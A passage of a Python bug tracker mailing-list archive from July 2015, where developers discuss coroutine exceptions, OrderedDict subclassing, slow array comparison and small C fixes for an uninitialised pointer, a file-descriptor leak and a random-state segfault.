Only avoiding confusion, because coroutines now have a separate type, lack __iter__, and thus are quite different (on the surface) from generators. The fact that 'coro.send(..)' raises StopIteration (when coroutines aren't iterable), and that 'coro.close()' raises GeneratorExit might be confusing and non-obvious to some users.

FWIW I created this ticket mostly as a reminder for myself to have some discussion on this topic in the future, when 3.5 is released and we have some initial feedback on PEP 492 ideas.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 21:19:57 2015
From: report at bugs.python.org (Eric Frederich)
Date: Thu, 23 Jul 2015 19:19:57 +0000
Subject: [issue24685] collections.OrderedDict collaborative subclassing
In-Reply-To: <1437584641.0.0.00317519120009.issue24685@psf.upfronthosting.co.za>
Message-ID: <1437679197.52.0.102422129271.issue24685@psf.upfronthosting.co.za>


Eric Frederich added the comment:

Attached, as inj3.py, is a version I made which seems to work with Python2 but not with Python3's C implementation of OrderedDict.

I had to walk the MRO myself to get the unbound method to pass along as dict_setitem.

With Python3 it doesn't look like doing this was left configurable.
It crashes complaining "TypeError: wrapper __setitem__ doesn't take keyword arguments"

Re-opening this bug since it seems impossible to make OrderedDict cooperative in Python3 even with a wrapper.

Perhaps Python3's OrderedDict should either
(a) be cooperative at the C level
(b) support dict_setitem keyword argument to maintain compatibility with Python2.

----------
resolution: not a bug -> 
status: closed -> open
versions: +Python 3.5
Added file: http://bugs.python.org/file40000/inj3.py

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 21:53:18 2015
From: report at bugs.python.org (Guido van Rossum)
Date: Thu, 23 Jul 2015 19:53:18 +0000
Subject: [issue24697] Add CoroutineReturn and CoroutineExit builtin exceptions
 for coroutines
In-Reply-To: <1437676090.02.0.713682625572.issue24697@psf.upfronthosting.co.za>
Message-ID: 


Guido van Rossum added the comment:

Hm, I think there's little need for new exceptions...

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 22:27:26 2015
From: report at bugs.python.org (Stefan Behnel)
Date: Thu, 23 Jul 2015 20:27:26 +0000
Subject: [issue24697] Add CoroutineReturn and CoroutineExit builtin exceptions
 for coroutines
In-Reply-To: <1437664215.74.0.89761121939.issue24697@psf.upfronthosting.co.za>
Message-ID: <1437683246.93.0.438502224429.issue24697@psf.upfronthosting.co.za>


Stefan Behnel added the comment:

> Hm, I think there's little need for new exceptions...

While I agree with Yuri that the names are a bit awkward, I actually second this. The StopIteration is almost an implementation detail of how the return value is passed on to become the (Future) result of the coroutine. It is intended to be caught by some framework and users would not normally get to see that exception. There is little room for general confusion.

----------
nosy: +scoder

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 22:56:15 2015
From: report at bugs.python.org (Berker Peksag)
Date: Thu, 23 Jul 2015 20:56:15 +0000
Subject: [issue24695] Don't print traceback header if traceback is None in
 TracebackException
In-Reply-To: <1437662539.63.0.637524686399.issue24695@psf.upfronthosting.co.za>
Message-ID: <1437684975.79.0.406704900427.issue24695@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Here is a patch. I was pretty sure that I've already created an issue for this but couldn't find it now.

----------
keywords: +patch
nosy: +berker.peksag
stage: needs patch -> patch review
Added file: http://bugs.python.org/file40001/issue24695.diff

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Thu Jul 23 23:36:17 2015
From: report at bugs.python.org (Berker Peksag)
Date: Thu, 23 Jul 2015 21:36:17 +0000
Subject: [issue10708] Misc/porting should be folded into the development FAQ
 or the devguide
In-Reply-To: <1292427453.79.0.452399127359.issue10708@psf.upfronthosting.co.za>
Message-ID: <1437687377.69.0.317369292844.issue10708@psf.upfronthosting.co.za>


Changes by Berker Peksag :


----------
nosy: +berker.peksag

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 00:14:56 2015
From: report at bugs.python.org (Cyd Haselton)
Date: Thu, 23 Jul 2015 22:14:56 +0000
Subject: [issue23496] Steps for Android Native Build of Python 3.4.2
In-Reply-To: <1424551617.0.0.291471450783.issue23496@psf.upfronthosting.co.za>
Message-ID: <1437689696.42.0.347365788388.issue23496@psf.upfronthosting.co.za>


Cyd Haselton added the comment:

Build complete. Unfortunately while some of the tests complete successfully, the run ends in a segfault (see attached log)

----------
Added file: http://bugs.python.org/file40002/py_test_results.log

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 00:51:03 2015
From: report at bugs.python.org (Ilya Kulakov)
Date: Thu, 23 Jul 2015 22:51:03 +0000
Subject: [issue24699] TemporaryDirectory is cleaned up twice
Message-ID: <1437691863.88.0.795764975498.issue24699@psf.upfronthosting.co.za>


New submission from Ilya Kulakov:

I'm seeing the issue using python 3.4.3 on Windows 8

In the __init__.py method of my package I define temporary directory at the module level like this:

_TempDir = tempfile.TemporaryDirectory(prefix='...'))
tempfile.tempdir = _TempDir.name


I expect it to be deleted on exit.

However, _sometimes_, I'm seeing the following exception on exit:

Traceback (most recent call last):
  File ":/weakref.pyo", line 582, in _exitfunc
  File ":/weakref.pyo", line 506, in __call__
  File ":/tempfile.pyo", line 674, in _cleanup
  File ":/shutil.pyo", line 478, in rmtree
  File ":/shutil.pyo", line 360, in _rmtree_unsafe
  File ":/shutil.pyo", line 358, in _rmtree_unsafe
FileNotFoundError: [WinError 3] The system cannot find the path specified: 'C:\\
Users\\BC79~1\\AppData\\Local\\Temp\\..._s9wqmyo_'

----------
messages: 247233
nosy: Ilya.Kulakov
priority: normal
severity: normal
status: open
title: TemporaryDirectory is cleaned up twice
type: behavior
versions: Python 3.4

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 01:01:14 2015
From: report at bugs.python.org (swanson)
Date: Thu, 23 Jul 2015 23:01:14 +0000
Subject: [issue24700] array compare is hideously slow
Message-ID: <1437692474.17.0.61027224315.issue24700@psf.upfronthosting.co.za>


New submission from swanson:

Comparing two array.array objects is much slower than it ought to be.

The whole point of array.array is to be efficient:
 "array ? Efficient arrays of numeric values"

But comparing them is orders of magnitude less efficient than comparing tuples or lists of numbers.  It would seem that array's __eq__ is converting every single number into an int, float, etc. first instead of just comparing the arrays in their native format.
If arrays can be copied efficiently, and bytearray can be copied or compared efficiently, there's no good reason for array's equality test to be so stupid.

example code:
-------------

from timeit import timeit

setup = '''
from array import array
a = array("I", %s)
ac = a.__copy__
b = ac()
t = tuple(a)
u = t[:1] + t[1:]
'''
for init in ("[1]*10", "[0xffffffff]*10", "[1]*1000", "[0xffffffff]*1000"):
 print("\n", init)
 for action in ("ac()", "a == b", "a == ac()", "t == u"):
  print(("%6.2f" % timeit(action, setup % init)), action)


results:
--------

 [1]*10
  0.31 ac()
  0.50 a == b
  0.73 a == ac()
  0.17 t == u

 [0xffffffff]*10
  0.29 ac()
  1.59 a == b
  1.87 a == ac()
  0.15 t == u

 [1]*1000
  0.84 ac()
 37.06 a == b
 37.72 a == ac()
  2.91 t == u

 [0xffffffff]*1000
  0.84 ac()
146.03 a == b
145.97 a == ac()
  2.90 t == u

----------
components: Library (Lib)
messages: 247234
nosy: swanson
priority: normal
severity: normal
status: open
title: array compare is hideously slow
type: performance
versions: Python 3.4

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 02:10:35 2015
From: report at bugs.python.org (Russell Keith-Magee)
Date: Fri, 24 Jul 2015 00:10:35 +0000
Subject: [issue23496] Steps for Android Native Build of Python 3.4.2
In-Reply-To: <1424551617.0.0.291471450783.issue23496@psf.upfronthosting.co.za>
Message-ID: <1437696635.77.0.915658424679.issue23496@psf.upfronthosting.co.za>


Russell Keith-Magee added the comment:

What hardware architecture are you compiling for? If it's ARM64, and you're not using a trunk version of libffi, that segfault in test_ctypes is to be expected.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 02:34:08 2015
From: report at bugs.python.org (Josh Rosenberg)
Date: Fri, 24 Jul 2015 00:34:08 +0000
Subject: [issue24700] array compare is hideously slow
In-Reply-To: <1437692474.17.0.61027224315.issue24700@psf.upfronthosting.co.za>
Message-ID: <1437698048.27.0.491986326612.issue24700@psf.upfronthosting.co.za>


Josh Rosenberg added the comment:

You're correct about what is going on; aside from bypassing a bounds check (when not compiled with asserts enabled), the function it uses to get each index is the same as that used to implement indexing at the Python layer. It looks up the getitem function appropriate to the type code over and over, then calls it to create the PyLongObject and performs a rich compare.

The existing behavior is probably necessary to work with array subclasses, but it's also incredibly slow as you noticed. Main question is whether to keep the slow path for subclasses, or (effectively) require that array subclasses overriding __getitem__ also override he rich comparison operators to make them work as expected.

For cases where the signedness and element size are identical, it's trivial to acquire readonly buffers for both arrays and directly compare the memory (with memcmp for EQ/NE or size 1 elements, wmemcmp for appropriately sized wider elements, and simple loops for anything else).

----------
nosy: +josh.r

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 03:33:24 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 24 Jul 2015 01:33:24 +0000
Subject: [issue24685] collections.OrderedDict collaborative subclassing
In-Reply-To: <1437584641.0.0.00317519120009.issue24685@psf.upfronthosting.co.za>
Message-ID: <1437701604.12.0.0877678521078.issue24685@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Eric, I believe you're profoundly misunderstanding my Pycon talk.  The posted code is not expected "to work if I swap the order of the classes around" -- MRO's are controlled by the child classes (subject to a number of constraints) and the order classes are listed matters greatly.  Also, cooperative classes have to be designed cooperatively.  The standard library OD class was intentionally tightly bound to its parent class to provide opportunities for a C implementation, to provide acceptable performance, and to make it easier for Jython and PyPy to implement the OD in ways favorable to their implementations.  Likewise it was intentional to hide access to the underlying dict using name mangling for the same reasons (that one was Guido's suggestion).  Also note, Guido's defaultdict also won't let you step in-between the class and its parent.

Also, your posted mal-functioning wrapper is mis-implemented.   Please see the "How to Incorporate a Non-cooperative Class" section of the referenced blog post.  The dependency injection technique is something that be used when testing your own subclasses which were built a loose coupling to a "default supplier" and where the calls between the consumer and supplier are a well defined part of the public API.  Only a handful of standard library tools were meant to be used this way. (That is why I the non-cooperative class integration part of the blog post was necessary).  

I've reclassified the tracker item as a feature request for 3.6.  Without compelling use cases, it will likely be re-rejected shortly. That said, I'm concerned that you've got "a burr under your saddle" and won't take no for an answer, so I'll leave this open for a while to allow you a chance to think about it and re-close it yourself.  I hope your will understand that we have valid reasons for not over-specifying the API and have a reluctance to tie our hands to the implementation details as the OD gets transitioned to a C implementation suitable internal use within the core.  FWIW, the OD code is pure python and there's nothing stopping you from using your own variants.

----------
priority: normal -> low
type:  -> enhancement
versions:  -Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 03:38:53 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 24 Jul 2015 01:38:53 +0000
Subject: [issue22000] cross type comparisons clarification
In-Reply-To: <1405622312.02.0.49093151571.issue22000@psf.upfronthosting.co.za>
Message-ID: <1437701933.93.0.896957354256.issue22000@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

> Why do we need a dedicated section in Built-in Types about Comparisons?

It is nice to have some of that information collected together.  I think people learn about comparison logic as a single topic rather than piecemeal type by type.

To Jim's point, the discussion of "is" and "is not" should probably be factored-out (their meaning is type-invariant and is not overridable with a dunder method).  Also, they don't have the same reflective logic as the rich comparisons.

----------
nosy: +rhettinger

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 04:36:11 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 24 Jul 2015 02:36:11 +0000
Subject: [issue24700] array compare is hideously slow
In-Reply-To: <1437692474.17.0.61027224315.issue24700@psf.upfronthosting.co.za>
Message-ID: <1437705371.73.0.932796698352.issue24700@psf.upfronthosting.co.za>


Changes by Raymond Hettinger :


----------
versions: +Python 3.6 -Python 3.4

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 04:41:18 2015
From: report at bugs.python.org (annoywife)
Date: Fri, 24 Jul 2015 02:41:18 +0000
Subject: [issue24701] list.pop() removes items from multiple lists
Message-ID: <1437705678.14.0.753601931437.issue24701@psf.upfronthosting.co.za>


New submission from annoywife:

When executing the following code, I would expect the 3 to be removed from "list_copy" while "list_original" remains unaltered.  However, list_copy.pop() removes the 3 from both lists.  If an index is specified for pop, this behavior occurs as well.

list_original = [1,2,3]
list_copy = list_original
list_copy.pop()

Please let me know if I can provide any other information.

----------
components: IDLE, Windows
messages: 247239
nosy: annoywife, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: list.pop() removes items from multiple lists
type: behavior
versions: Python 3.4

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 05:09:58 2015
From: report at bugs.python.org (R. David Murray)
Date: Fri, 24 Jul 2015 03:09:58 +0000
Subject: [issue24701] list.pop() removes items from multiple lists
In-Reply-To: <1437705678.14.0.753601931437.issue24701@psf.upfronthosting.co.za>
Message-ID: <1437707398.16.0.584807727778.issue24701@psf.upfronthosting.co.za>


R. David Murray added the comment:

https://docs.python.org/3/faq/programming.html#why-did-changing-list-y-also-change-list-x

----------
nosy: +r.david.murray
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 05:26:07 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 24 Jul 2015 03:26:07 +0000
Subject: [issue24695] Don't print traceback header if traceback is None in
 TracebackException
In-Reply-To: <1437662539.63.0.637524686399.issue24695@psf.upfronthosting.co.za>
Message-ID: <1437708367.62.0.838088945373.issue24695@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

This patch looks correct, applies cleanly, and passes tests.

----------
nosy: +rhettinger

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 05:47:04 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 24 Jul 2015 03:47:04 +0000
Subject: [issue9850] obsolete macpath module dangerously broken and should be
 removed
In-Reply-To: <1284441709.03.0.73507598284.issue9850@psf.upfronthosting.co.za>
Message-ID: <1437709624.47.0.816201285937.issue9850@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

In third-party code the path manipulating functions can be used in unexpected manner than doesn't relate to paths on MacOS. Also "import macpath" can be left even with the use of macpath was eliminated or are dead code. There is a chance to break third-party code when just remove macpath without deprecation period.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 05:51:11 2015
From: report at bugs.python.org (pankaj.s01)
Date: Fri, 24 Jul 2015 03:51:11 +0000
Subject: [issue24702] Uninitialised Pointer buf.outobj
Message-ID: <1437709871.22.0.396517280297.issue24702@psf.upfronthosting.co.za>


New submission from pankaj.s01:

Hi ,
Reporting an issue of uninitialized  pointer "buf.outobj" in python-2.7.x .
I have attached patch ,please check and review it.

Thanks!

----------
components: Extension Modules, Library (Lib)
files: Python-2.7.10-multibytecodec.patch
keywords: patch
messages: 247243
nosy: pankaj.s01
priority: normal
severity: normal
status: open
title: Uninitialised Pointer buf.outobj
versions: Python 2.7
Added file: http://bugs.python.org/file40003/Python-2.7.10-multibytecodec.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 06:00:16 2015
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 24 Jul 2015 04:00:16 +0000
Subject: [issue21217] inspect.getsourcelines finds wrong lines when lambda
 used argument to decorator
In-Reply-To: <1397496660.33.0.566497694968.issue21217@psf.upfronthosting.co.za>
Message-ID: <20150724040011.62379.49432@psf.io>


Roundup Robot added the comment:

New changeset 5400e21e92a7 by Meador Inge in branch '3.5':
Issue #24485: Function source inspection fails on closures.
https://hg.python.org/cpython/rev/5400e21e92a7

New changeset 0e7d64595223 by Meador Inge in branch 'default':
Issue #24485: Function source inspection fails on closures.
https://hg.python.org/cpython/rev/0e7d64595223

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 06:00:15 2015
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 24 Jul 2015 04:00:15 +0000
Subject: [issue24485] Function source inspection fails on closures
In-Reply-To: <1434966088.74.0.807832836071.issue24485@psf.upfronthosting.co.za>
Message-ID: <20150724040011.62379.63139@psf.io>


Roundup Robot added the comment:

New changeset 5400e21e92a7 by Meador Inge in branch '3.5':
Issue #24485: Function source inspection fails on closures.
https://hg.python.org/cpython/rev/5400e21e92a7

New changeset 0e7d64595223 by Meador Inge in branch 'default':
Issue #24485: Function source inspection fails on closures.
https://hg.python.org/cpython/rev/0e7d64595223

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 06:01:16 2015
From: report at bugs.python.org (Meador Inge)
Date: Fri, 24 Jul 2015 04:01:16 +0000
Subject: [issue24485] Function source inspection fails on closures
In-Reply-To: <1434966088.74.0.807832836071.issue24485@psf.upfronthosting.co.za>
Message-ID: <1437710476.64.0.427107008248.issue24485@psf.upfronthosting.co.za>


Meador Inge added the comment:

Thanks Yury!  I have committed my patches to 3.5 and default.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 06:13:09 2015
From: report at bugs.python.org (pankaj.s01)
Date: Fri, 24 Jul 2015 04:13:09 +0000
Subject: [issue24300] Code Refactoring  in function nis_mapname()
In-Reply-To: <1432741681.07.0.0289282459532.issue24300@psf.upfronthosting.co.za>
Message-ID: <1437711189.05.0.613958196056.issue24300@psf.upfronthosting.co.za>


Changes by pankaj.s01 :


----------
nosy: +benjamin.peterson -pankaj.s01

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 06:15:36 2015
From: report at bugs.python.org (pankaj.s01)
Date: Fri, 24 Jul 2015 04:15:36 +0000
Subject: [issue24702] Uninitialised Pointer buf.outobj
In-Reply-To: <1437709871.22.0.396517280297.issue24702@psf.upfronthosting.co.za>
Message-ID: <1437711336.78.0.360124921001.issue24702@psf.upfronthosting.co.za>


Changes by pankaj.s01 :


----------
nosy: +benjamin.peterson -pankaj.s01

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 06:35:55 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 24 Jul 2015 04:35:55 +0000
Subject: [issue24702] Uninitialised Pointer buf.outobj
In-Reply-To: <1437709871.22.0.396517280297.issue24702@psf.upfronthosting.co.za>
Message-ID: <1437712555.07.0.916133375989.issue24702@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The MultibyteDecodeBuffer structure doesn't have the outobj field.

----------
nosy: +pankaj.s01, serhiy.storchaka
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 06:39:25 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 24 Jul 2015 04:39:25 +0000
Subject: [issue24702] Uninitialised Pointer buf.outobj
In-Reply-To: <1437709871.22.0.396517280297.issue24702@psf.upfronthosting.co.za>
Message-ID: <1437712765.3.0.227808672031.issue24702@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Ah, sorry, this is 2.7 only. The patch LGTM for 2.7.

----------
assignee:  -> serhiy.storchaka
resolution: not a bug -> 
stage: resolved -> commit review
status: closed -> open
type:  -> crash

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 06:41:00 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 24 Jul 2015 04:41:00 +0000
Subject: [issue24300] Code Refactoring  in function nis_mapname()
In-Reply-To: <1432741681.07.0.0289282459532.issue24300@psf.upfronthosting.co.za>
Message-ID: <1437712860.11.0.75903691081.issue24300@psf.upfronthosting.co.za>


Changes by Raymond Hettinger :


----------
assignee:  -> rhettinger
nosy: +rhettinger

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 06:42:36 2015
From: report at bugs.python.org (pankaj.s01)
Date: Fri, 24 Jul 2015 04:42:36 +0000
Subject: [issue24703] Resource Leak
Message-ID: <1437712956.47.0.356892785544.issue24703@psf.upfronthosting.co.za>


New submission from pankaj.s01:

Hi,
There is an issue of resource leak of file descriptor "outFile" in Python-2.7.10 ,file :Python-2.7.10/Modules/_bsddb.c:3456.
variable "outFile" is going out of scope which leaks the storage.So need to close file before return on error.
I have attached the patch ,please check and review it.

thanks!

----------
components: Extension Modules, Library (Lib)
files: Python-2.7.10_bsddb.patch
keywords: patch
messages: 247249
nosy: benjamin.peterson, pankaj.s01
priority: normal
severity: normal
status: open
title: Resource Leak
versions: Python 2.7
Added file: http://bugs.python.org/file40004/Python-2.7.10_bsddb.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 06:47:18 2015
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 24 Jul 2015 04:47:18 +0000
Subject: [issue24300] Code Refactoring  in function nis_mapname()
In-Reply-To: <1432741681.07.0.0289282459532.issue24300@psf.upfronthosting.co.za>
Message-ID: <20150724044353.62375.74880@psf.io>


Roundup Robot added the comment:

New changeset 3bbd0cbfe836 by Raymond Hettinger in branch 'default':
Issue #24300:  Minor refactoring.
https://hg.python.org/cpython/rev/3bbd0cbfe836

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 06:49:28 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 24 Jul 2015 04:49:28 +0000
Subject: [issue24702] Uninitialised Pointer buf.outobj
In-Reply-To: <1437709871.22.0.396517280297.issue24702@psf.upfronthosting.co.za>
Message-ID: <1437713368.86.0.782913240087.issue24702@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Committed in ba8ab143f4e6.

Thank you for your contribution pankaj.s01 (could you please specify your real name?).

----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 06:52:03 2015
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 24 Jul 2015 04:52:03 +0000
Subject: [issue24702] Uninitialised Pointer buf.outobj
In-Reply-To: <1437709871.22.0.396517280297.issue24702@psf.upfronthosting.co.za>
Message-ID: <20150724044525.24770.14497@psf.io>


Roundup Robot added the comment:

New changeset ba8ab143f4e6 by Serhiy Storchaka in branch '2.7':
Initialize buf.outobj in multibyte encoder (closes issue #24702).
https://hg.python.org/cpython/rev/ba8ab143f4e6

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 06:56:27 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 24 Jul 2015 04:56:27 +0000
Subject: [issue24300] Code Refactoring  in function nis_mapname()
In-Reply-To: <1432741681.07.0.0289282459532.issue24300@psf.upfronthosting.co.za>
Message-ID: <1437713787.65.0.542501422357.issue24300@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The patch doesn't fix any bug. Usually we avoid changing source code without need.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 06:59:53 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 24 Jul 2015 04:59:53 +0000
Subject: [issue24703] Resource Leak
In-Reply-To: <1437712956.47.0.356892785544.issue24703@psf.upfronthosting.co.za>
Message-ID: <1437713993.36.0.399356729797.issue24703@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Spaces should be used instead tabs for indenting.

----------
nosy: +serhiy.storchaka
stage:  -> patch review
type:  -> resource usage

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 07:04:07 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 24 Jul 2015 05:04:07 +0000
Subject: [issue24703] Resource Leak
In-Reply-To: <1437712956.47.0.356892785544.issue24703@psf.upfronthosting.co.za>
Message-ID: <1437714247.4.0.0768208781886.issue24703@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Otherwise the patch LGTM.

----------
assignee:  -> serhiy.storchaka
stage: patch review -> commit review

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 07:06:19 2015
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 24 Jul 2015 05:06:19 +0000
Subject: [issue24703] Resource Leak
In-Reply-To: <1437712956.47.0.356892785544.issue24703@psf.upfronthosting.co.za>
Message-ID: <20150724050616.3157.67179@psf.io>


Roundup Robot added the comment:

New changeset 4fc7b803ac00 by Serhiy Storchaka in branch '2.7':
Issue #24703: Fixed resource leak on error in bsddb.verify().
https://hg.python.org/cpython/rev/4fc7b803ac00

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 07:06:44 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 24 Jul 2015 05:06:44 +0000
Subject: [issue24703] Resource Leak
In-Reply-To: <1437712956.47.0.356892785544.issue24703@psf.upfronthosting.co.za>
Message-ID: <1437714404.29.0.921007473366.issue24703@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka :


----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 07:08:41 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 24 Jul 2015 05:08:41 +0000
Subject: [issue24300] Code Refactoring  in function nis_mapname()
In-Reply-To: <1432741681.07.0.0289282459532.issue24300@psf.upfronthosting.co.za>
Message-ID: <1437714521.82.0.992709579455.issue24300@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

It is perfectly reasonable to make refactorings.

----------
resolution:  -> fixed
status: open -> closed
versions: +Python 3.6 -Python 3.4

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 07:20:15 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 24 Jul 2015 05:20:15 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437715214.99.0.43084637219.issue24681@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Serhiy, do you see anything actually wrong with the patch?  If it isn't broken in some clear cut way, I'm going to apply it shortly.  The comparison with dict internals is a red herring -- there is no promise need or precedent for making that code exactly the same (nor is there is restriction on PyPy or Jython which have already traveled down other paths not aligned with cpyhton dict internals).

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 07:31:45 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 24 Jul 2015 05:31:45 +0000
Subject: [issue24620] Segfault with nonsensical random state
In-Reply-To: <1436728764.28.0.733775785624.issue24620@psf.upfronthosting.co.za>
Message-ID: <1437715905.54.0.432409646008.issue24620@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

This is ready to apply.

----------
assignee: rhettinger -> serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 07:35:16 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Fri, 24 Jul 2015 05:35:16 +0000
Subject: [issue24659] dict() built-in fails on iterators with a "keys"
 attribute
In-Reply-To: <1437209700.05.0.411435282726.issue24659@psf.upfronthosting.co.za>
Message-ID: <1437716116.42.0.799046468723.issue24659@psf.upfronthosting.co.za>


Changes by Raymond Hettinger :


----------
priority: normal -> low
stage:  -> needs patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 07:41:39 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 24 Jul 2015 05:41:39 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437716499.96.0.535548849968.issue24681@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The patch makes set_add_entry() inconsistent not only with dict, but with other set methods that use set_lookkey(). I don't know if there is some subtle bug here, but I feel myself slightly uncomfortable with it. Also the new code looks a little less readable to me. Current code is straightforward translation from Python to C (first check error, then check that the result still is actual, finally check the result itself), the new code forces you to stop and think, it's correctness is not so obvious.

Even if all good with the patch, please don't commit it right now. Wait at least a week and then commit. May be someone other will find a flaw in the patch.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 07:46:42 2015
From: report at bugs.python.org (Pankaj Sharma)
Date: Fri, 24 Jul 2015 05:46:42 +0000
Subject: [issue24302] Dead Code of Handler check in function
 faulthandler_fatal_error()
In-Reply-To: <1432744245.29.0.369253683429.issue24302@psf.upfronthosting.co.za>
Message-ID: <1437716802.68.0.522244644185.issue24302@psf.upfronthosting.co.za>


Changes by Pankaj Sharma :


----------
nosy: +benjamin.peterson

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 08:10:28 2015
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 24 Jul 2015 06:10:28 +0000
Subject: [issue24620] Segfault with nonsensical random state
In-Reply-To: <1436728764.28.0.733775785624.issue24620@psf.upfronthosting.co.za>
Message-ID: <20150724060820.8506.76082@psf.io>


Roundup Robot added the comment:

New changeset 0933c00c2765 by Serhiy Storchaka in branch '3.4':
Issue #24620: Random.setstate() now validates the value of state last element.
https://hg.python.org/cpython/rev/0933c00c2765

New changeset 84070c1225c5 by Serhiy Storchaka in branch '2.7':
Issue #24620: Random.setstate() now validates the value of state last element.
https://hg.python.org/cpython/rev/84070c1225c5

New changeset d8229c26dd92 by Serhiy Storchaka in branch '3.5':
